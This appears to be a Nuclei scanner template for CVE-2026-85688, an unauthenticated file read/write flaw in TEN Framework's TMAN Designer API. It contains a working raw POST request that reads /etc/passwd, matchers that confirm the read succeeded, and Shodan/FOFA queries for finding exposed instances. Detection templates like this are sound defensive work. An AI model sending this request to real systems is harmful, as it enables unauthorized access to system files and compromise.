id: CVE-2026-85688 info: name: TEN Framework - Arbitrary File Read & Write author: aryu-ru,geo-chen severity: critical description: | TEN Framework 0.11.71 contains unauthenticated arbitrary file read and write vulnerabilities in the TMAN Designer file-content API endpoints, letting attackers read or write arbitrary files and execute code. The exploit requires no authentication. impact: | Attackers can read and write arbitrary files and execute code, potentially leading to full system compromise. remediation: | Update to the latest version of TEN Framework. reference: - https://www.vulncheck.com/advisories/ten-framework-0.11.71-unauthenticated-file-read-write-via-tman-designer - https://github.com/TEN-framework/ten-framework/issues/2187 - https://github.com/TEN-framework/ten-framework/blob/0.11.71/core/src/ten_manager/src/designer/file_content/mod.rs - https://nvd.nist.gov/vuln/detail/CVE-2026-85688 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-85688 epss-score: 0.02641 epss-percentile: 0.85495 cwe-id: CWE-306 metadata: verified: true max-request: 1 vendor: ten-framework product: ten-framework shodan-query: http.title:"TEN Manager" fofa-query: title="TEN Manager" tags: cve,cve2026,ten-framework,tman,lfi,ai,unauth http: - raw: - | POST /api/designer/v1/file-content HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"file_path":"/etc/passwd"} matchers: - type: dsl dsl: - 'contains_all(body, "\"status\":\"ok\"", "\"data\":{\"content\":\"", "root:")' - 'contains(content_type, "application/json")' - 'status_code == 200' condition: and # digest: 490a004630440220785762f80d02a35cb4674b84cb49e4df2ec4b9ba6c19df3f8b3aafe949a99132022067780e5e5fb064065511bf8d54e5c5e359b99d64abbcfead4de01f3cb6ccb4e8:922c64590222798bb761d5b6d8e72950